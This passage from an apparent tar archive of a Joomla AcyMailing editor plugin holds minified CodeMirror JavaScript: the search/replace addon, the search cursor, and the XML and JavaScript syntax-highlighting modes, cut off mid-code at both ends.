o(n){var t=n.match(/^\/(.*)\/([a-z]*)$/);if(t)try{n=new RegExp(t[1],t[2].indexOf("i")==-1?"":"i")}catch(i){}return(typeof n=="string"?n=="":n.test(""))&&(n=/x^/),n}function f(n,t){var f=i(n),e;if(f.query)return s(n,t);e=n.getSelection()||f.lastQuery;u(n,v,"Search for:",e,function(i){n.operation(function(){i&&!f.query&&(f.query=o(i),n.removeOverlay(f.overlay,r(f.query)),f.overlay=c(f.query,r(f.query)),n.addOverlay(f.overlay),n.showMatchesOnScrollbar&&(f.annotate&&(f.annotate.clear(),f.annotate=null),f.annotate=n.showMatchesOnScrollbar(f.query,r(f.query))),f.posFrom=f.posTo=n.getCursor(),s(n,t))})})}function s(r,u){r.operation(function(){var e=i(r),f=t(r,e.query,u?e.posFrom:e.posTo);(f.find(u)||(f=t(r,e.query,u?n.Pos(r.lastLine()):n.Pos(r.firstLine(),0)),f.find(u)))&&(r.setSelection(f.from(),f.to()),r.scrollIntoView({from:f.from(),to:f.to()}),e.posFrom=f.from(),e.posTo=f.to())})}function e(n){n.operation(function(){var t=i(n);(t.lastQuery=t.query,t.query)&&(t.query=null,n.removeOverlay(t.overlay),t.annotate&&(t.annotate.clear(),t.annotate=null))})}function h(n,r){if(!n.getOption("readOnly")){var f=n.getSelection()||i(n).lastQuery;u(n,y,"Replace:",f,function(i){i&&(i=o(i),u(n,p,"Replace with:","",function(u){if(r)n.operation(function(){for(var f,r=t(n,i);r.findNext();)typeof i!="string"?(f=n.getRange(r.from(),r.to()).match(i),r.replace(u.replace(/\$(\d)/g,function(n,t){return f[t]}))):r.replace(u)});else{e(n);var f=t(n,i,n.getCursor()),o=function(){var r=f.from(),u;((u=f.findNext())||(f=t(n,i),(u=f.findNext())&&(!r||f.from().line!=r.line||f.from().ch!=r.ch)))&&(n.setSelection(f.from(),f.to()),n.scrollIntoView({from:f.from(),to:f.to()}),a(n,w,"Replace?",[function(){s(u)},o]))},s=function(n){f.replace(typeof i=="string"?u:u.replace(/\$(\d)/g,function(t,i){return n[i]}));o()};o()}}))})}}var v='Search: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)<\/span>',y='Replace: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)<\/span>',p='With: <input type="text" style="width: 10em" class="CodeMirror-search-field"/>',w="Replace? <button>Yes<\/button> <button>No<\/button> <button>Stop<\/button>";n.commands.find=function(n){e(n);f(n)};n.commands.findNext=f;n.commands.findPrev=function(n){f(n,!0)};n.commands.clearSearch=e;n.commands.replace=h;n.commands.replaceAll=function(n){h(n,!0)}}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";function i(n,i,u,f){var h,o,e,s;this.atOccurrence=!1;this.doc=n;f==null&&typeof i=="string"&&(f=!1);u=u?n.clipPos(u):t(0,0);this.pos={from:u,to:u};typeof i!="string"?(i.global||(i=new RegExp(i.source,i.ignoreCase?"ig":"g")),this.matches=function(r,u){var o,h,f,s,c,e;if(r){for(i.lastIndex=0,o=n.getLine(u.line).slice(0,u.ch),h=0;;){if(i.lastIndex=h,c=i.exec(o),!c)break;if(f=c,s=f.index,h=f.index+(f[0].length||1),h==o.length)break}e=f&&f[0].length||0;e||(s==0&&o.length==0?f=undefined:s!=n.getLine(u.line).length&&e++)}else{i.lastIndex=u.ch;var o=n.getLine(u.line),f=i.exec(o),e=f&&f[0].length||0,s=f&&f.index;s+e==o.length||e||(e=1)}if(f&&e)return{from:t(u.line,s),to:t(u.line,s+e),match:f}}):(h=i,f&&(i=i.toLowerCase()),o=f?function(n){return n.toLowerCase()}:function(n){return n},e=i.split("\n"),e.length==1?this.matches=i.length?function(u,f){if(u){var s=n.getLine(f.line).slice(0,f.ch),c=o(s),e=c.lastIndexOf(i);if(e>-1)return e=r(s,c,e),{from:t(f.line,e),to:t(f.line,e+h.length)}}else{var s=n.getLine(f.line).slice(f.ch),c=o(s),e=c.indexOf(i);if(e>-1)return e=r(s,c,e)+f.ch,{from:t(f.line,e),to:t(f.line,e+h.length)}}}:function(){}:(s=h.split("\n"),this.matches=function(i,r){var h=e.length-1,a,c,l,v,u,f;if(i){if(r.line-(e.length-1)<n.firstLine())return;if(o(n.getLine(r.line).slice(0,s[h].length))!=e[e.length-1])return;for(a=t(r.line,s[h].length),u=r.line-1,f=h-1;f>=1;--f,--u)if(e[f]!=o(n.getLine(u)))return;return(c=n.getLine(u),l=c.length-s[0].length,o(c.slice(l))!=e[0])?void 0:{from:t(u,l),to:a}}if(!(r.line+(e.length-1)>n.lastLine())&&(c=n.getLine(r.line),l=c.length-s[0].length,o(c.slice(l))==e[0])){for(v=t(r.line,l),u=r.line+1,f=1;f<h;++f,++u)if(e[f]!=o(n.getLine(u)))return;if(o(n.getLine(u).slice(0,s[h].length))==e[h])return{from:v,to:t(u,s[h].length)}}}))}function r(n,t,i){var r,u;if(n.length==t.length)return i;for(r=Math.min(i,n.length);;)if(u=n.slice(0,r).toLowerCase().length,u<i)++r;else if(u>i)--r;else return r}var t=n.Pos;i.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(n){function f(n){var i=t(n,0);return u.pos={from:i,to:i},u.atOccurrence=!1,!1}for(var u=this,i=this.doc.clipPos(n?this.pos.from:this.pos.to),r;;){if(this.pos=this.matches(n,i))return this.atOccurrence=!0,this.pos.match||!0;if(n){if(!i.line)return f(0);i=t(i.line-1,this.doc.getLine(i.line-1).length)}else{if(r=this.doc.lineCount(),i.line==r-1)return f(r);i=t(i.line+1,0)}}},from:function(){if(this.atOccurrence)return this.pos.from},to:function(){if(this.atOccurrence)return this.pos.to},replace:function(i,r){if(this.atOccurrence){var u=n.splitLines(i);this.doc.replaceRange(u,this.pos.from,this.pos.to,r);this.pos.to=t(this.pos.from.line+u.length-1,u[u.length-1].length+(u.length==1?this.pos.from.ch:0))}}};n.defineExtension("getSearchCursor",function(n,t,r){return new i(this.doc,n,t,r)});n.defineDocExtension("getSearchCursor",function(n,t,r){return new i(this,n,t,r)});n.defineExtension("selectMatches",function(t,i){for(var u=[],r=this.getSearchCursor(t,this.getCursor("from"),i);r.findNext();){if(n.cmpPos(r.to(),this.getCursor("to"))>0)break;u.push({anchor:r.from(),head:r.to()})}u.length&&this.setSelections(u,0)})})
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.h000060400000136024152455305300031513 0ustar00com_acymailing(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("xml",function(y,k){var p=y.indentUnit;var x=k.multilineTagIndentFactor||1;var d=k.multilineTagIndentPastTag;if(d==null){d=true}var w=k.htmlMode?{autoSelfClosers:{area:true,base:true,br:true,col:true,command:true,embed:true,frame:true,hr:true,img:true,input:true,keygen:true,link:true,meta:true,param:true,source:true,track:true,wbr:true,menuitem:true},implicitlyClosed:{dd:true,li:true,optgroup:true,option:true,p:true,rp:true,rt:true,tbody:true,td:true,tfoot:true,th:true,tr:true},contextGrabbers:{dd:{dd:true,dt:true},dt:{dd:true,dt:true},li:{li:true},option:{option:true,optgroup:true},optgroup:{optgroup:true},p:{address:true,article:true,aside:true,blockquote:true,dir:true,div:true,dl:true,fieldset:true,footer:true,form:true,h1:true,h2:true,h3:true,h4:true,h5:true,h6:true,header:true,hgroup:true,hr:true,menu:true,nav:true,ol:true,p:true,pre:true,section:true,table:true,ul:true},rp:{rp:true,rt:true},rt:{rp:true,rt:true},tbody:{tbody:true,tfoot:true},td:{td:true,th:true},tfoot:{tbody:true},th:{td:true,th:true},thead:{tbody:true,tfoot:true},tr:{tr:true}},doNotIndent:{pre:true},allowUnquoted:true,allowMissing:true,caseFold:true}:{autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:false,allowMissing:false,caseFold:false};var c=k.alignCDATA;var f,g;function n(F,E){function C(G){E.tokenize=G;return G(F,E)}var D=F.next();if(D=="<"){if(F.eat("!")){if(F.eat("[")){if(F.match("CDATA[")){return C(v("atom","]]>"))}else{return null}}else{if(F.match("--")){return C(v("comment","-->"))}else{if(F.match("DOCTYPE",true,true)){F.eatWhile(/[\w\._\-]/);return C(z(1))}else{return null}}}}else{if(F.eat("?")){F.eatWhile(/[\w\._\-]/);E.tokenize=v("meta","?>");return"meta"}else{f=F.eat("/")?"closeTag":"openTag";E.tokenize=m;return"tag bracket"}}}else{if(D=="&"){var B;if(F.eat("#")){if(F.eat("x")){B=F.eatWhile(/[a-fA-F\d]/)&&F.eat(";")}else{B=F.eatWhile(/[\d]/)&&F.eat(";")}}else{B=F.eatWhile(/[\w\.\-:]/)&&F.eat(";")}return B?"atom":"error"}else{F.eatWhile(/[^&<]/);return null}}}function m(E,D){var C=E.next();if(C==">"||(C=="/"&&E.eat(">"))){D.tokenize=n;f=C==">"?"endTag":"selfcloseTag";return"tag bracket"}else{if(C=="="){f="equals";return null}else{if(C=="<"){D.tokenize=n;D.state=l;D.tagName=D.tagStart=null;var B=D.tokenize(E,D);return B?B+" tag error":"tag error"}else{if(/[\'\"]/.test(C)){D.tokenize=j(C);D.stringStartCol=E.column();return D.tokenize(E,D)}else{E.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);return"word"}}}}}function j(B){var C=function(E,D){while(!E.eol()){if(E.next()==B){D.tokenize=m;break}}return"string"};C.isInAttribute=true;return C}function v(C,B){return function(E,D){while(!E.eol()){if(E.match(B)){D.tokenize=n;break}E.next()}return C}}function z(B){return function(E,D){var C;while((C=E.next())!=null){if(C=="<"){D.tokenize=z(B+1);return D.tokenize(E,D)}else{if(C==">"){if(B==1){D.tokenize=n;break}else{D.tokenize=z(B-1);return D.tokenize(E,D)}}}}return"meta"}}function r(C,B,D){this.prev=C.context;this.tagName=B;this.indent=C.indented;this.startOfLine=D;if(w.doNotIndent.hasOwnProperty(B)||(C.context&&C.context.noIndent)){this.noIndent=true}}function u(B){if(B.context){B.context=B.context.prev}}function q(D,C){var B;while(true){if(!D.context){return}B=D.context.tagName;if(!w.contextGrabbers.hasOwnProperty(B)||!w.contextGrabbers[B].hasOwnProperty(C)){return}u(D)}}function l(B,D,C){if(B=="openTag"){C.tagStart=D.column();return b}else{if(B=="closeTag"){return t}else{return l}}}function b(B,D,C){if(B=="word"){C.tagName=D.current();g="tag";return e}else{g="error";return b}}function t(C,E,D){if(C=="word"){var B=E.current();if(D.context&&D.context.tagName!=B&&w.implicitlyClosed.hasOwnProperty(D.context.tagName)){u(D)}if(D.context&&D.context.tagName==B){g="tag";return s}else{g="tag error";return A}}else{g="error";return A}}function s(C,B,D){if(C!="endTag"){g="error";return s}u(D);return l}function A(B,D,C){g="error";return s(B,D,C)}function e(E,C,F){if(E=="word"){g="attribute";return i}else{if(E=="endTag"||E=="selfcloseTag"){var D=F.tagName,B=F.tagStart;F.tagName=F.tagStart=null;if(E=="selfcloseTag"||w.autoSelfClosers.hasOwnProperty(D)){q(F,D)}else{q(F,D);F.context=new r(F,D,B==F.indented)}return l}}g="error";return e}function i(B,D,C){if(B=="equals"){return o}if(!w.allowMissing){g="error"}return e(B,D,C)}function o(B,D,C){if(B=="string"){return h}if(B=="word"&&w.allowUnquoted){g="string";return e}g="error";return e(B,D,C)}function h(B,D,C){if(B=="string"){return h}return e(B,D,C)}return{startState:function(){return{tokenize:n,state:l,indented:0,tagName:null,tagStart:null,context:null}},token:function(D,C){if(!C.tagName&&D.sol()){C.indented=D.indentation()}if(D.eatSpace()){return null}f=null;var B=C.tokenize(D,C);if((B||f)&&B!="comment"){g=null;C.state=C.state(f||B,D,C);if(g){B=g=="error"?B+" error":g}}return B},indent:function(G,C,F){var E=G.context;if(G.tokenize.isInAttribute){if(G.tagStart==G.indented){return G.stringStartCol+1}else{return G.indented+p}}if(E&&E.noIndent){return a.Pass}if(G.tokenize!=m&&G.tokenize!=n){return F?F.match(/^(\s*)/)[0].length:0}if(G.tagName){if(d){return G.tagStart+G.tagName.length+2}else{return G.tagStart+p*x}}if(c&&/<!\[CDATA\[/.test(C)){return 0}var B=C&&/^<(\/)?([\w_:\.-]*)/.exec(C);if(B&&B[1]){while(E){if(E.tagName==B[2]){E=E.prev;break}else{if(w.implicitlyClosed.hasOwnProperty(E.tagName)){E=E.prev}else{break}}}}else{if(B){while(E){var D=w.contextGrabbers[E.tagName];if(D&&D.hasOwnProperty(B[2])){E=E.prev}else{break}}}}while(E&&!E.startOfLine){E=E.prev}if(E){return E.indent+p}else{return 0}},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"<!--",blockCommentEnd:"-->",configuration:k.htmlMode?"html":"xml",helperType:k.htmlMode?"html":"xml"}});a.defineMIME("text/xml","xml");a.defineMIME("application/xml","xml");if(!a.mimeModes.hasOwnProperty("text/html")){a.defineMIME("text/html",{name:"xml",htmlMode:true})}});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("javascript",function(Z,aj){var l=Z.indentUnit;var A=aj.statementIndent;var aB=aj.jsonld;var z=aj.json||aB;var g=aj.typescript;var au=aj.wordCharacters||/[\w$\xa1-\uffff]/;var ar=function(){function aR(aT){return{type:aT,style:"keyword"}}var aM=aR("keyword a"),aK=aR("keyword b"),aJ=aR("keyword c");var aL=aR("operator"),aP={type:"atom",style:"atom"};var aN={"if":aR("if"),"while":aM,"with":aM,"else":aK,"do":aK,"try":aK,"finally":aK,"return":aJ,"break":aJ,"continue":aJ,"new":aJ,"delete":aJ,"throw":aJ,"debugger":aJ,"var":aR("var"),"const":aR("var"),let:aR("var"),"function":aR("function"),"catch":aR("catch"),"for":aR("for"),"switch":aR("switch"),"case":aR("case"),"default":aR("default"),"in":aL,"typeof":aL,"instanceof":aL,"true":aP,"false":aP,"null":aP,"undefined":aP,"NaN":aP,"Infinity":aP,"this":aR("this"),module:aR("module"),"class":aR("class"),"super":aR("atom"),yield:aJ,"export":aR("export"),"import":aR("import"),"extends":aJ};if(g){var aS={type:"variable",style:"variable-3"};var aO={"interface":aR("interface"),"extends":aR("extends"),constructor:aR("constructor"),"public":aR("public"),"private":aR("private"),"protected":aR("protected"),"static":aR("static"),string:aS,number:aS,bool:aS,any:aS};for(var aQ in aO){aN[aQ]=aO[aQ]}}return aN}();var P=/[+\-*&%=<>!?|~^]/;var aq=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function F(aM){var aK=false,aJ,aL=false;while((aJ=aM.next())!=null){if(!aK){if(aJ=="/"&&!aL){return}if(aJ=="["){aL=true}else{if(aL&&aJ=="]"){aL=false}}}aK=!aK&&aJ=="\\"}}var S,G;function L(aL,aK,aJ){S=aL;G=aJ;return aK}function U(aN,aL){var aJ=aN.next();if(aJ=='"'||aJ=="'"){aL.tokenize=R(aJ);return aL.tokenize(aN,aL)}else{if(aJ=="."&&aN.match(/^\d+(?:[eE][+\-]?\d+)?/)){return L("number","number")}else{if(aJ=="."&&aN.match("..")){return L("spread","meta")}else{if(/[\[\]{}\(\),;\:\.]/.test(aJ)){return L(aJ)}else{if(aJ=="="&&aN.eat(">")){return L("=>","operator")}else{if(aJ=="0"&&aN.eat(/x/i)){aN.eatWhile(/[\da-f]/i);return L("number","number")}else{if(/\d/.test(aJ)){aN.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/);return L("number","number")}else{if(aJ=="/"){if(aN.eat("*")){aL.tokenize=aA;return aA(aN,aL)}else{if(aN.eat("/")){aN.skipToEnd();return L("comment","comment")}else{if(aL.lastType=="operator"||aL.lastType=="keyword c"||aL.lastType=="sof"||/^[\[{}\(,;:]$/.test(aL.lastType)){F(aN);aN.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);return L("regexp","string-2")}else{aN.eatWhile(P);return L("operator","operator",aN.current())}}}}else{if(aJ=="`"){aL.tokenize=aC;return aC(aN,aL)}else{if(aJ=="#"){aN.skipToEnd();return L("error","error")}else{if(P.test(aJ)){aN.eatWhile(P);return L("operator","operator",aN.current())}else{if(au.test(aJ)){aN.eatWhile(au);var aM=aN.current(),aK=ar.propertyIsEnumerable(aM)&&ar[aM];return(aK&&aL.lastType!=".")?L(aK.type,aK.style,aM):L("variable","variable",aM)}}}}}}}}}}}}}function R(aJ){return function(aN,aL){var aM=false,aK;if(aB&&aN.peek()=="@"&&aN.match(aq)){aL.tokenize=U;return L("jsonld-keyword","meta")}while((aK=aN.next())!=null){if(aK==aJ&&!aM){break}aM=!aM&&aK=="\\"}if(!aM){aL.tokenize=U}return L("string","string")}}function aA(aM,aL){var aJ=false,aK;while(aK=aM.next()){if(aK=="/"&&aJ){aL.tokenize=U;break}aJ=(aK=="*")}return L("comment","comment")}function aC(aM,aK){var aL=false,aJ;while((aJ=aM.next())!=null){if(!aL&&(aJ=="`"||aJ=="$"&&aM.eat("{"))){aK.tokenize=U;break}aL=!aL&&aJ=="\\"}return L("quasi","string-2",aM.current())}var m="([{}])";function ax(aP,aM){if(aM.fatArrowAt){aM.fatArrowAt=null}var aL=aP.string.indexOf("=>",aP.start);if(aL<0){return}var aO=0,aK=false;for(var aQ=aL-1;aQ>=0;--aQ){var aJ=aP.string.charAt(aQ);var aN=m.indexOf(aJ);if(aN>=0&&aN<3){if(!aO){++aQ;break}if(--aO==0){break}}else{if(aN>=3&&aN<6){++aO}else{if(au.test(aJ)){aK=true}else{if(/["'\/]/.test(aJ)){return}else{if(aK&&!aO){++aQ;break}}}}}}if(aK&&!aO){aM.fatArrowAt=aQ}}var b={atom:true,number:true,variable:true,string:true,regexp:true,"this":true,"jsonld-keyword":true};function J(aO,aK,aJ,aN,aL,aM){this.indented=aO;this.column=aK;this.type=aJ;this.prev=aL;this.info=aM;if(aN!=null){this.align=aN}}function s(aM,aL){for(var aK=aM.localVars;aK;aK=aK.next){if(aK.name==aL){return true}}for(var aJ=aM.context;aJ;aJ=aJ.prev){for(var aK=aJ.vars;aK;aK=aK.next){if(aK.name==aL){return true}}}}function f(aN,aK,aJ,aM,aO){var aP=aN.cc;D.state=aN;D.stream=aO;D.marked=null,D.cc=aP;D.style=aK;if(!aN.lexical.hasOwnProperty("align")){aN.lexical.align=true}while(true){var aL=aP.length?aP.pop():z?an:aH;if(aL(aJ,aM)){while(aP.length&&aP[aP.length-1].lex){aP.pop()()}if(D.marked){return D.marked}if(aJ=="variable"&&s(aN,aM)){return"variable-2"}return aK}}}var D={state:null,column:null,marked:null,cc:null};function aa(){for(var aJ=arguments.length-1;aJ>=0;aJ--){D.cc.push(arguments[aJ])}}function ae(){aa.apply(null,arguments);return true}function aw(aK){function aJ(aN){for(var aM=aN;aM;aM=aM.next){if(aM.name==aK){return true}}return false}var aL=D.state;if(aL.context){D.marked="def";if(aJ(aL.localVars)){return}aL.localVars={name:aK,next:aL.localVars}}else{if(aJ(aL.globalVars)){return}if(aj.globalVars){aL.globalVars={name:aK,next:aL.globalVars}}}}var q={name:"this",next:{name:"arguments"}};function w(){D.state.context={prev:D.state.context,vars:D.state.localVars};D.state.localVars=q}function x(){D.state.localVars=D.state.context.vars;D.state.context=D.state.context.prev}function aF(aK,aL){var aJ=function(){var aO=D.state,aM=aO.indented;if(aO.lexical.type=="stat"){aM=aO.lexical.indented}else{for(var aN=aO.lexical;aN&&aN.type==")"&&aN.align;aN=aN.prev){aM=aN.indented}}aO.lexical=new J(aM,D.stream.column(),aK,null,aO.lexical,aL)};aJ.lex=true;return aJ}function h(){var aJ=D.state;if(aJ.lexical.prev){if(aJ.lexical.type==")"){aJ.indented=aJ.lexical.indented}aJ.lexical=aJ.lexical.prev}}h.lex=true;function r(aJ){function aK(aL){if(aL==aJ){return ae()}else{if(aJ==";"){return aa()}else{return ae(aK)}}}return aK}function aH(aJ,aK){if(aJ=="var"){return ae(aF("vardef",aK.length),d,r(";"),h)}if(aJ=="keyword a"){return ae(aF("form"),an,aH,h)}if(aJ=="keyword b"){return ae(aF("form"),aH,h)}if(aJ=="{"){return ae(aF("}"),y,h)}if(aJ==";"){return ae()}if(aJ=="if"){if(D.state.lexical.info=="else"&&D.state.cc[D.state.cc.length-1]==h){D.state.cc.pop()()}return ae(aF("form"),an,aH,h,e)}if(aJ=="function"){return ae(M)}if(aJ=="for"){return ae(aF("form"),u,aH,h)}if(aJ=="variable"){return ae(aF("stat"),aI)}if(aJ=="switch"){return ae(aF("form"),an,aF("}","switch"),r("{"),y,h,h)}if(aJ=="case"){return ae(an,r(":"))}if(aJ=="default"){return ae(r(":"))}if(aJ=="catch"){return ae(aF("form"),w,r("("),af,r(")"),aH,h,x)}if(aJ=="module"){return ae(aF("form"),w,H,x,h)}if(aJ=="class"){return ae(aF("form"),V,h)}if(aJ=="export"){return ae(aF("form"),aG,h)}if(aJ=="import"){return ae(aF("form"),ag,h)}return aa(aF("stat"),an,r(";"),h)}function an(aJ){return Y(aJ,false)}function aE(aJ){return Y(aJ,true)}function Y(aK,aM){if(D.state.fatArrowAt==D.stream.start){var aJ=aM?N:W;if(aK=="("){return ae(w,aF(")"),at(i,")"),h,r("=>"),aJ,x)}else{if(aK=="variable"){return aa(w,i,r("=>"),aJ,x)}}}var aL=aM?j:ab;if(b.hasOwnProperty(aK)){return ae(aL)}if(aK=="function"){return ae(M,aL)}if(aK=="keyword c"){return ae(aM?ak:ai)}if(aK=="("){return ae(aF(")"),ai,az,r(")"),h,aL)}if(aK=="operator"||aK=="spread"){return ae(aM?aE:an)}if(aK=="["){return ae(aF("]"),n,h,aL)}if(aK=="{"){return ay(t,"}",null,aL)}if(aK=="quasi"){return aa(Q,aL)}return ae()}function ai(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(an)}function ak(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(aE)}function ab(aJ,aK){if(aJ==","){return ae(an)}return j(aJ,aK,false)}function j(aJ,aL,aN){var aK=aN==false?ab:j;var aM=aN==false?an:aE;if(aJ=="=>"){return ae(w,aN?N:W,x)}if(aJ=="operator"){if(/\+\+|--/.test(aL)){return ae(aK)}if(aL=="?"){return ae(an,r(":"),aM)}return ae(aM)}if(aJ=="quasi"){return aa(Q,aK)}if(aJ==";"){return}if(aJ=="("){return ay(aE,")","call",aK)}if(aJ=="."){return ae(al,aK)}if(aJ=="["){return ae(aF("]"),ai,r("]"),h,aK)}}function Q(aJ,aK){if(aJ!="quasi"){return aa()}if(aK.slice(aK.length-2)!="${"){return ae(Q)}return ae(an,p)}function p(aJ){if(aJ=="}"){D.marked="string-2";D.state.tokenize=aC;return ae(Q)}}function W(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:an)}function N(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:aE)}function aI(aJ){if(aJ==":"){return ae(h,aH)}return aa(ab,r(";"),h)}function al(aJ){if(aJ=="variable"){D.marked="property";return ae()}}function t(aJ,aK){if(aJ=="variable"||D.style=="keyword"){D.marked="property";if(aK=="get"||aK=="set"){return ae(I)}return ae(K)}else{if(aJ=="number"||aJ=="string"){D.marked=aB?"property":(D.style+" property");return ae(K)}else{if(aJ=="jsonld-keyword"){return ae(K)}else{if(aJ=="["){return ae(an,r("]"),K)}}}}}function I(aJ){if(aJ!="variable"){return aa(K)}D.marked="property";return ae(M)}function K(aJ){if(aJ==":"){return ae(aE)}if(aJ=="("){return aa(M)}}function at(aL,aJ){function aK(aN){if(aN==","){var aM=D.state.lexical;if(aM.info=="call"){aM.pos=(aM.pos||0)+1}return ae(aL,aK)}if(aN==aJ){return ae()}return ae(r(aJ))}return function(aM){if(aM==aJ){return ae()}return aa(aL,aK)}}function ay(aM,aJ,aL){for(var aK=3;aK<arguments.length;aK++){D.cc.push(arguments[aK])}return ae(aF(aJ,aL),at(aM,aJ),h)}function y(aJ){if(aJ=="}"){return ae()}return aa(aH,y)}function T(aJ){if(g&&aJ==":"){return ae(ad)}}function av(aJ,aK){if(aK=="="){return ae(aE)}}function ad(aJ){if(aJ=="variable"){D.marked="variable-3";return ae()}}function d(){return aa(i,T,ac,X)}function i(aJ,aK){if(aJ=="variable"){aw(aK);return ae()}if(aJ=="["){return ay(i,"]")}if(aJ=="{"){return ay(aD,"}")}}function aD(aJ,aK){if(aJ=="variable"&&!D.stream.match(/^\s*:/,false)){aw(aK);return ae(ac)}if(aJ=="variable"){D.marked="property"}return ae(r(":"),i,ac)}function ac(aJ,aK){if(aK=="="){return ae(aE)}}function X(aJ){if(aJ==","){return ae(d)}}function e(aJ,aK){if(aJ=="keyword b"&&aK=="else"){return ae(aF("form","else"),aH,h)}}function u(aJ){if(aJ=="("){return ae(aF(")"),E,r(")"),h)}}function E(aJ){if(aJ=="var"){return ae(d,r(";"),C)}if(aJ==";"){return ae(C)}if(aJ=="variable"){return ae(v)}return aa(an,r(";"),C)}function v(aJ,aK){if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return ae(ab,C)}function C(aJ,aK){if(aJ==";"){return ae(B)}if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return aa(an,r(";"),B)}function B(aJ){if(aJ!=")"){ae(an)}}function M(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(M)}if(aJ=="variable"){aw(aK);return ae(M)}if(aJ=="("){return ae(w,aF(")"),at(af,")"),h,aH,x)}}function af(aJ){if(aJ=="spread"){return ae(af)}return aa(i,T,av)}function V(aJ,aK){if(aJ=="variable"){aw(aK);return ae(O)}}function O(aJ,aK){if(aK=="extends"){return ae(an,O)}if(aJ=="{"){return ae(aF("}"),o,h)}}function o(aJ,aK){if(aJ=="variable"||D.style=="keyword"){if(aK=="static"){D.marked="keyword";return ae(o)}D.marked="property";if(aK=="get"||aK=="set"){return ae(c,M,o)}return ae(M,o)}if(aK=="*"){D.marked="keyword";return ae(o)}if(aJ==";"){return ae(o)}if(aJ=="}"){return ae()}}function c(aJ){if(aJ!="variable"){return aa()}D.marked="property";return ae()}function H(aJ,aK){if(aJ=="string"){return ae(aH)}if(aJ=="variable"){aw(aK);return ae(ah)}}function aG(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(ah,r(";"))}if(aK=="default"){D.marked="keyword";return ae(an,r(";"))}return aa(aH)}function ag(aJ){if(aJ=="string"){return ae()}return aa(ap,ah)}function ap(aJ,aK){if(aJ=="{"){return ay(ap,"}")}if(aJ=="variable"){aw(aK)}if(aK=="*"){D.marked="keyword"}return ae(k)}function k(aJ,aK){if(aK=="as"){D.marked="keyword";return ae(ap)}}function ah(aJ,aK){if(aK=="from"){D.marked="keyword";return ae(an)}}function n(aJ){if(aJ=="]"){return ae()}return aa(aE,am)}function am(aJ){if(aJ=="for"){return aa(az,r("]"))}if(aJ==","){return ae(at(ak,"]"))}return aa(at(aE,"]"))}function az(aJ){if(aJ=="for"){return ae(u,az)}if(aJ=="if"){return ae(an,az)}}function ao(aK,aJ){return aK.lastType=="operator"||aK.lastType==","||P.test(aJ.charAt(0))||/[,.]/.test(aJ.charAt(0))}return{startState:function(aK){var aJ={tokenize:U,lastType:"sof",cc:[],lexical:new J((aK||0)-l,0,"block",false),localVars:aj.localVars,context:aj.localVars&&{vars:aj.localVars},indented:0};if(aj.globalVars&&typeof aj.globalVars=="object"){aJ.globalVars=aj.globalVars}return aJ},token:function(aL,aK){if(aL.sol()){if(!aK.lexical.hasOwnProperty("align")){aK.lexical.align=false}aK.indented=aL.indentation();ax(aL,aK)}if(aK.tokenize!=aA&&aL.eatSpace()){return null}var aJ=aK.tokenize(aL,aK);if(S=="comment"){return aJ}aK.lastType=S=="operator"&&(G=="++"||G=="--")?"incdec":S;return f(aK,aJ,S,G,aL)},indent:function(aP,aJ){if(aP.tokenize==aA){return a.Pass}if(aP.tokenize!=U){return 0}var aO=aJ&&aJ.charAt(0),aM=aP.lexical;if(!/^\s*else\b/.test(aJ)){for(var aL=aP.cc.length-1;aL>=0;--aL){var aQ=aP.cc[aL];if(aQ==h){aM=aM.prev}else{if(aQ!=e){break}}}}if(aM.type=="stat"&&aO=="}"){aM=aM.prev}if(A&&aM.type==")"&&aM.prev.type=="stat"){aM=aM.prev}var aN=aM.type,aK=aO==aN;if(aN=="vardef"){return aM.indented+(aP.lastType=="operator"||aP.lastType==","?aM.info+1:0)}else{if(aN=="form"&&aO=="{"){return aM.indented}else{if(aN=="form"){return aM.indented+l}else{if(aN=="stat"){return aM.indented+(ao(aP,aJ)?A||l:0)}else{if(aM.info=="switch"&&!aK&&aj.doubleIndentSwitch!=false){return aM.indented+(/^(?:case|default)\b/.test(aJ)?l:2*l)}else{if(aM.align){return aM.column+(aK?0:1)}else{return aM.indented+(aK?0:l)}}}}}}},electricInput:/^\s*(?:case 